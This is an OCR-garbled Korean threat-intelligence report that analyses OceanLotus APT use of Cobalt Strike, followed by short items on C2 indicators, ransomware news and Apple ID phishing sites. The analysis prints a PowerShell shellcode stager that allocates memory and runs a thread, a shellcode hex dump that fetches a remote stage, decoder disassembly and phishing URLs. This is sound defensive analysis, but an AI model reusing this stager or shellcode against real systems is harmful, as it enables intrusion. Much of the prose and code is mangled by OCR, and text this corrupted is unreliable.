Aextz 10007560 loc_10007560: i REE - DAIMag o (A x x) 232

text 10007568 xor byte prr word 10020 0AB[eax), 490 ; -uau ‘lﬁu‘mmﬂmnmmmg
text 10007567 inc eax

textiaaersen ecax, 1557

Lext: 10007560 b L7 AL renze oneFF M ene 1 0N
Jtexti10aNssel cnp vord 10421 0ae, 2

Aext 10007577 Jne short loc_10007587

text:i10aess Y cop febpes), o

Lext 110087570 )z shert loc_10007587 ]

Stext:ieeess sy push febpes) i s

Aext 10007582 call clesesocket

53551 £ M| AHHH0= CRCFA, URL UserAgent & OHIEE M9 S| NS S0| IO UL

H /3/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books

5.0 (Windows NT 6.1. WOW64: mamho; rv:11.0) like
Gecko

/N4215/ ad)/ amzn. us. sr. aps
ol REFR bt
it R CaCigit
’ R &8

dAccept: o/+ 4

Wost: www. anazon.com L 3 Bsession-token= UserAgent
¥skin=noskin. , csmn-hit=s-24KU1 1BBS2RISYG] 3BDK | l419899012996 -
~Cookie

‘
SAccept: /¢
TContent-Type: text/xal ¢

: W B2l 7 {4host amazonfd it

sz={00x000  @e=oe=150-8859-1; e | qen
-s=3‘ll7 “de_ref=ht tp¥3AX2F%2Fwww. anazon. com L J
rundl132, exe -
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ofiilE T2 20 2ielst= 21}, 29T == hitp B2 SHIFY & 2710 E=S MESK=E), host BE 220 738t

= — o
EHOIX] ul S F7I5IH, TEER= LI82 Q12 EE S50 cookies F201 F71BICE H=2IE So10] BXIE 221612 Al5HH,

229 GAT /3/refunb_3b noss_1/167-3294888-0262949/ 11810 -keywords books wrTe 1.1

SO NTTP/1,1 200 Ok (app)icat lon/octet atrean)

P GET /3/referk 3b noss 1/167-I1WE38-0262949,/ Fielo-keywords~books WTTP/1.1
210 MrIP 1,3 200 ox

M9 GET V3 /referk_sb noss 17167 - S20AKE8- 0262949/ Field-keywords=books WTTP/3.1
310 MTIP/1, 3 200 ox

549 GET /5 /ref=rbi_shonoss ) 167 - 3204888 0242949/ iwle-k ds=hooks KTTP/1.1

IHZ12] http SlIE host BE0= www.amazon.com O[22 &6{ JUCH, HE ip FAE 2O = 0| ip= UHTE9|

CRCEFAAACL

& Frame 341: 549 bytes on wire (4392 bits), 549 e Ci (4392 bits) on interface O

<:
# Transmission Contro) Protocol, src

user-agent: woz1112/5.0 (windows NT 6.1; wOowsd; Trident/7.0; rvill.0) Vike Gecko\r\n
comnection: xeep-Alive\r\n

Cache-Control: no-cache\r\n

\rin

(WTTP request 1/1)

H S22 (obalt Strike £ 0188 SZ0|UCt ZRAC|T Oceanlotus Z1E0] Cobalt Strike ZHIUS 0188t APT SZHS TIR4SH

—_

OFRALY, 22 Qrdmls Mo, 10| HFEf= 0]0] Oceanlotus 1E2| ZIESMH0]| FLEUCt SHXP E= 31H2
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Cobut SUke Veem Alicks Peporins bielg
QE O E=0c 8s/,0 Geld” /e B

ol Maae Do evany Lol v Refresh Help |

& e

0| £0| X|5H= SA1 HFAI2 HTTP, HTTPS, DNS & SMB B2 T2EZZ H0f| 22X ARRSHE beacondll
beacon_http, beacon_dns, beacon_https %! beacon_smb 02 =3 EAI0|C},

a )
B New Listener l =NAC X

Create a listener.

Name: |

Payload: ?windows/beacon_http/reverse_http -

e e 0 0 s s B D B B 6 6 ) g

Host:

Port: |windows/beacon_https/reverse_https
windows/beacon_smb/bind_pipe
windows/foreign/reverse_dns_txt
g—windows/foreign/ reverse_http
windows/foreign/reverse_https
windows/foreign/reverse_tcp v

ESTsoft
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| Cobalt Strike (Tr
Attacks
Packa HTML Application
external Web Drive-by * | Ms Office Macro
B® 192.225.226.3 Spear Phish | payload Generator 6

USB/CD AutoPlay
Windows Dropper
Windows Executable
Windows Executable (S)

B Payload Generator |=; =

This dialog generates a payload to stage a Cobalt Strike
listener. Several output options are available.

Listener: |http el w

Output: [PowerShell v

SAS0| YE5k= payloacps ATBESR} P27} 0H S & 224t logopng EA12| Z710M= O 2 X0 UL,
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M logo.png 2016/4/26 16:34  PNG B& 255 KB
& payload.psl 2016/4/26 18:03  PS1 W% 4KB

CHEEM2 HEE var_code B14=9| LFROILC,

Set-Strictlode ~Version 24
‘
Wolt » &',
function func_get peoc_sddress |4
Paran (Prax_nodule, Svar_proceduze) '
v _uneale_native_mthods = (lagpd VR D G blies() | Woaze-Object | 3. ClobalissenblyCoche ~And 3. Locats
'
roturn Svar_uneele_native sethods, Getlethod (' CotProcaddress’ ). Tnvoke (Suull, #{(Syrten. B p/ 5 Handlekef] (Nev-Ob

1
‘
function func_get_delegate_type [i

Puw (4
[Parwnetes (Posation = O, Randatory = $Truel] [Typell] Srax parameters, o
[Paxaseter (Porition = 1)] [Type] Svar_return_type * [Verdls
11
'
Svaz_type_builder = [Applomaial::Cy Iy Def inelym bly( (Bew-Object Syzten. Keflection Azvendlylane (* ReflectedDelegn

Svaz_type_butlder, DefineConstructor (" KTSpeciallane, WideBySig, Public’, [Systen Meflection CallingComventions]::Standard, Svar
Pvaz_type_builder, DefineBethod (' Iuvoke’, "Public, RideDySig, WewSlot, Virtual', Svar_seturn_type, Svar_parsseters). Setlaplementat
'
rotun Prax_type_builder.CreateType ()4

|

h‘lulh code * [Systes.Convert]::ProaBareSdString (" /0L AMAY InlRdTiad Dvad IR 1 IDSIZeDT K] yH/MeCeMFBASwgweSNACT 48F X3 1 1020]

Pz _buffer = (’n‘-& }: :GetDelegatePorPunctionPointer { (func_got_prec_sddress kerneld2. 411 VirtualAllec),
(Mt-.htmhthscncu.l-hd) Copy (Bvax_code, O, Svax buffer, Swar_cede. length)

Ov-_Mhul = [Systen. b Rarghal]::GetDelogateForPuncticaPeinter ((func_get _proc_sddress kerneld2 41l CresteThzead),
[Systen Runtine. IntercpServices. I-.-U :CethelegateFurPunctieaPointer ((func_get_proc_sddress kerneld2. d11 WaitForSingleObject), (func

’

.

'
1t ([lnePexl:zense ~eq 8) i
stert=job | parea($a) IEX Sa | ~Rundsd? ~Argusent $Dolt | wait-job | Keceive-Jobi

H| WX ZISICE shellcode OfA CiZt 22 ul S FE0HHRAL.

E0| MMSH payload ps AERIE S92 shellcode 7I mEs|
S CI2CHAR= shellcode A1340|CE

http://°****808/VQEV 0| BH|O[X|OfIA] LH= &

rlo (r)Jo
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Offset 0 1 2 3 4 5 6 7 8 9101112 13 14 15

00000000 EC E8 89 00 00 00 60 89 ES 31 D2 64 8B 52 30 88 [Bel... 1410d1R0I
00000016 52 OC BB S2 14 8B 72 28 OF B7 4A 26 31 FF 31 CO R.IR.Ir(.-J&1y1A
00000032 AC 3C 61 7C 02 2C 20 C1 CF OD 01 C7 E2 FO 52 57 ~<a|., AI..CA8RW
00000048 BB S2 10 8B 42 3C 01 DO BB 40 78 85 CO 74 4A 01 IR.IB<.DI@xIAt).
00000064 DO S0 BB 48 18 8B S8 20 01 D3 E3 3C 49 8B 34 8B DPIH.IX .08<I141
00000080 01 D6 31 FF 31 CO AC C1 CF OD 01 C7 38 EO 75 F4 .01y1A-AI..CBAud
00000096 03 7D F8 3B 7D 24 75 E2 58 8B 58 24 01 D3 66 8B .)o;)}SudXIXs.0f1
00000112 OC 4B BB S8 1C 01 D3 8B 04 8B 01 DO 89 44 24 24 .KIX..00.0.DIDSS
00000128 SB SB 61 59 SA S1 FF EO S8 SF SA 8B 12 EB 86 SD [[aYZQyaX_Zl.el])
00000144 68 6E 65 74 00 68 77 69 6E 69 54 68 4C 77 26 07 hnet.hwiniThLwé.
00000160 FF DS E8 80 00 00 00 4D 6F 7A 69 6C 6C 61 2F 35 yOel...Mozilla/S
00000176 2E 30 20 28 63 6F 6D 70 61 74 69 62 6C 65 3B 20 .0 (compatible:

00000192 4D S3 49 4S5 20 39 2E 30 3B 20 57 69 6E 64 6F 77 MSIE 9.0:; Window
00000208 73 20 4E S4 20 36 2E 31 3B 20 S7 4F S7 36 34 3B s NT 6.1; WOwe4;
00000224 20 S4 72 69 64 6S 6E 74 2F 35 2E 30 29 00 S8 S8 Trident/5.0).XX
00000240 S8 S8 58 S8 S8 S8 S8 S8 5B S8 58 S8 S8 S8 58 S8 XOOLCOOCOOCOTOOX
00000256 S8 S8 S8 S8 S8 S8 S8 S8 S8 S8 58 S8 S8 S8 58 S8 XOLCOOCCOOOOCOL
00000272 S8 SB S8 S8 S8 S8 SB SB S8 S8 58 S8 S8 S8 58 S8 X0000OO000O0COOX
00000288 S8 S8 58 S8 S8 S8 00 S9 31 FF 57 S7 57 57 S1 68 XOO00CK.Y1yWwWwwih
00000304 3A S6 79 A7 FF DS EB 79 SB 31 C9 51 S1 6A 03 S1 :VySydey[1£QQ;.0
00000320 51 68 28 03 00 00 53 50 68 57 89 9F C6 FF DS EB Qh(...SPhwil&yde
00000336 62 S9 31 D2 52 68 00 02 60 84 52 52 52 51 52 SO bY10Rh.. IRRRQRP
00000352 68 EB SS 2E 3B FF DS 89 C6 31 FF S7 S7 57 57 S6 heU. :y01Z1/WwwwV
00000368 68 2D 06 18 7B FF DS 85 CO 74 44 31 FF 85 F6 74 h-..{yJlAtDlyiot
00000384 04 89 F9 EB 09 68 AA CS E2 SD FF DS 89 C1 68 45 .010e.h2A4)yOIARE
00000400 21 SE 31 FF DS 31 FF 57 6A 07 51 56 S0 68 B7 57 1~1y01yWj.QVPh-W
00000416 EO OB FF DS BF 00 2F 00 00 39 C7 74 BC 31 FF EB a.y0l./..9Ctélye
00000432 1S EB 49 E8 99 FF FF FF 2F 76 S1 45 S6 00 00 68 .elelyyy-vQEV..h
00000448 FO BS A2 56 FF DS 6A 40 68 00 10 00 00 68 00 00 &u¢Vydjéh....h..
00000464 40 00 57 68 S8 A4 S3 ES FF DS 93 53 53 89 E7 57 @.WhX*S&yd1SSicW
00000480 68 00 20 00 00 S3 S6 68 12 96 89 E2 FF DS 85 CO h. ..SVh.11&yDIA
00000496 74 CD 8B 07 01 C3 85 CO 75 ES 58 C3 E8 37 FF FF tit. . K1AudxXRe7yy

00000512 P c: BN BN 00 ...

CHA| L= 22 Ci|O|E 271= 186kb O|C.

| VQEV 2016/4/26 1824 Xi% mm].

CIA| L B2 FE= SIRE0| ¢St 220 OHE 20t OfL|2t, Shellcode 2F Oceanlotus Z%19] shellcode T =2t EZULE.
342 251 vQEV 2E2| sl T=E L2 BT
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Seq000: 00000008 sub_8 proc near ; CODE XREF: seg@0B:loc_2Fp
seq000: 00000008 pop esi

5eqg000: 00000009 nov ecx, [esi)

seq000: 00000008 add esi, &

seg000: 0000000E nov eax, [esi)

seq000: 00000010 xor eax, ecx

5eq000: 00000012 add esi, & BNTHCHERTENTRL S Wi
seqO0D: 00000015 push esi

seqO00: 00000016

seq000: 00000016 loc_16: ; CODE XREPT sub_8+221)
seq000: 00000016 nov ebp, [esi)

segOoD: 00000018 xor ebp, ecx

SeqO00: 00000010 nov [esi), ebp

5eq000:0000001C xor ecx, ebp

SeqgO00:0000001E add esi, &

Seqooo: 00000021 sub eax, &

Seg000:00000024 xor ebp, ebp

seqOo0: 00000026 cnp eax, ebp

Segoon: 00000028 jz short loc_2¢C

seq000: 00000020 jnp short loc_16

L H R e e
seq000: 0000002C

seqO00: 0000002C loc_2C: ; CODE XREF: sub_8+20Tj
seq000: 0000002C pop ecx

Seq00D: 00000020 ecx

5eg000: 00000020 *

5eq000: 00000020

seqO00:0000002F ; o e -
seq000: 0000002F

seqOn0: 0000002F loc_2F: ; CODE XREF: seqg000: 000000067
<eq000:0000002F call sub_8

Seqbo: 0000002F

segOab:soao00aN dd SE3IBIE79n

seq000: 00000038 dd SOIAF879n

Oceanlotus 2| logo.png 015 712! Powershell A9 EE= CHOMIEZ HRSH0| ZEE var_code B4 & QIHMAIA
ARUSIFOH, QIE{IOA] LH2{ BIX| QIUCE HIF 2A1C] 3717 B7SIRKI2L, QIELIOILE ME|AS| EXI= Mgt 7sHE =0
Zo|Ct,

7122 0I5()

ZIQIo| ATEIE Aolst S 0] 3AE WO Z MOt OceanLotus X2 Cobalt Strike £ ARSI LIRS ZII5H | AIRISIILC

Cobalt Strke = %S 2158 T MBEI= Payioad S T3 I AKSE 0t OFLI2}, L LoE0| ZES HBiS 210f XS0
L5 AJABIO| 265 S0P W AO| RHISS AHoi)

10 —

g}, :Ioll

512 5, Lol C2 ZiEE| Z240] X °”EI°*Er OHL51 ZIKE| PCoF Q10| (RC 7 M Z40ICt 1 5 Beho] Lisay
DRMHE ZEITI0] YU M 5 S7HO| EQ3 Als 7153t IS0 QTS AIQISHS 0t 0|2}, SAJ0f 71 Flash
QIH0|E I |XIZ 025101 ARAP | 28t rrn mIQIAIS TRICH = 0] A7} YIEfZ & AOIEV} =l 20|k,

e 2, L= AEHCZ HiHO| LHIEY S20IAE0A 0] MHE SOl AT =7t AEHE ARS 2RI6IRALY, HLSHH
HESRS S 2F2| (RCAHt HEE RS 2RIt 4= AW | HZ0|ICt.

Z2HO=Z 0| SH2| TH| 1rds BT aat 2T,
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BEHEIRL

BitsiEEg 50s.hk1433.cc

HAINE BURRE , S FRFER

1SREE #% MD5
2016/03/28 15:07:13

2016/03/18 17:00:44
whois i25 2016/03/18 20:24:56 abaa278a82¢12264d3d305

P ) 2016/03/18 17:55:14
2016/03/18 18:12:21
2016/03/18 19:18:43
2016/03/28 23:18:11
2016/03/18 17:55:15
2016/03/18 18:48:09

2016/03/28 14:45:34

[EX360 7| =AHE

Ol5S 4l 2EH 2Al: 2=2UE 2

b Host SME 1P fisht
1 215131
18(
18
sos.hk1433.cc nui
sos.hk1433.cc 180.97.215.13
s0s.hk1433.cc 18(
18(
s0s.hk1433.cc null
s0s.hk1433.cc 180.97.215.131
2 3 4 5 14 | E
300Z&ER ((bobHo380cn )

|E IOIA
o =T

S=0( 2017 4 6 & 30 L7HK| Z2HIY AFSXL0f| CHet 100% &3H| Q155 AAleHt. O] 2ERISS oiXI2 1 HE2

AEXS2 LEES 7KL HEQUISS ofiofelH, 13X| ¢

UL

S22 2017 H 68 30 L7 AER

m\”

OB MU} 82 3 9ICh 51 S0 OIS SO,
Yo 2p, 3 30 0jSASS H 2 TSN ciet 4% 278 2
NSRS Chet ABSSOIN| 242 314713 Oftol AGXP| AR SRR, SR O

S 5IK| Y2 ABXIS2 MHIAS 01235X| 251A| & 02t araa:r

Al
=2O0L-
277X oF AFEATR] 93%/ AERIE °3f°“ O, S5l 2EK| ARZAIR] 95%7F AIBRISS 2t=dk= 20| =

m\”

5%= UE0| ZItSk=AH| SHe=t11 SIIC.
Lot S=0IM 7430k= 2I=21= FA| (S 01510

[EX] http:/ ;mwwiithome.com/html/it/229539.htm
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O] 2IAf= O] 278 L0 [t Dokt ZASHA| 2t OIZAIE Eefol] IAHES HAGIES Q. 208 IIARIES
Ojofal ZEok| HARSEZS of == 216t QALY

Ameba OfjAl= 2014 H 6 20| 0ISA} 0|2/2] M| ofet Tt HAEAAESAS B0t of 230 2H2(0f 0|2 AlRYS
Sofl 2F 4 21742 AP0 2-HO = 27101 Fot AR0| BSIRICE,

[EX] http:/ /www.security—next.com/069746

Apple 2] ‘AHPHO| EHlock)=RSLICH 71ut Ho| LEECH (M[ACHEiS =)
Apple hHLD' T HI L b Oy O 3N ET (AX—IVAHEDB(T ¢ v oL I TRIERS)

. Apple Store BTN e EEREAY, Lroosr | wmesr
BT LTLES W & Seuee
ZAITEIZ G347,

A S13dA DApple IMFRD —E04 AT o TLSIEEEHS LWL EBNEY.

RSB E Tt A L s EE.T%.\F F)I-%Jﬂ.@#pplslﬂnm%ﬁm? ELENRYET . Apple TDIEH-T %1 Stk AT e R0
T 5 5 o, LT 1 L R TEREAL L, ¢ BIE S Digle e
R D FFY
HFEMDAple IMFODY I-‘ﬁ"-"-T 4
T 2N CE e S DS E R RN S, ThO L B, TENET, wohe T EAN D=l s
Apple F— 4
Mrnuple I | $8-F | FS5A |J~—«1‘Jy~ v e TR W gy w—
Capy t @ 2015 Apple Inc. All rights reserved.
= =
710 Hie| 22 T} AJO|EQ)] 51H

JTAIZBIZTZ AT b (QHESIMIQ SR0|HUE)E ARIGHA 24 A7t O|LHOY FLIOAHIM SES =AI5HK| Zoh= Z2, APHO|
ELICFEIT 15h= AppleOHE)MIM2| HIZO| LIS QT BiCt & 0] MU= 7 IRICH.

20, Apple S 7 PRt TILAOIE@ It AVO|E)7F ZRHSIL QLT GiM OIS SAZICE Apple S 7 Fet £
20 15 Al AFEOIM TIHAIEE 715 SOILt. 0] ©l2f2f= JPCERT ZL|HI0 AMIE | Z=AL Q|=IS Ut
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IDAT 2 &h 3 (AKBSEL A= Apple ID 7} ZEIICHORNS SO HIZOR Ly 7 SRI0[2H= 201K 7Hit A [E2

Reoks ZYUS ot AT,

RE6k= AOIEL] URL2 https://apple. @ @ @@.info/, 'hitp://secure3 store.apple-id.com.verify—

account.c4aa5c. @@ @@.info/' S, LIFLE TNt HIZ=5t Z10| AR Q= 5ol CIXRIT Apple SAIAO|ERL HOF T
U0 H| WA XIHART| HF0]| £0HH 2= ARRO| LIQ= S5t

O] Eol2||M= 012t Z2 IIYAMOIENM FAID, 2712 TiARIE S5 Bl US| =S F2IF sS40 ATt

[EX http://scan.netsecurity.nejp/article/2016/05/21/38490 html
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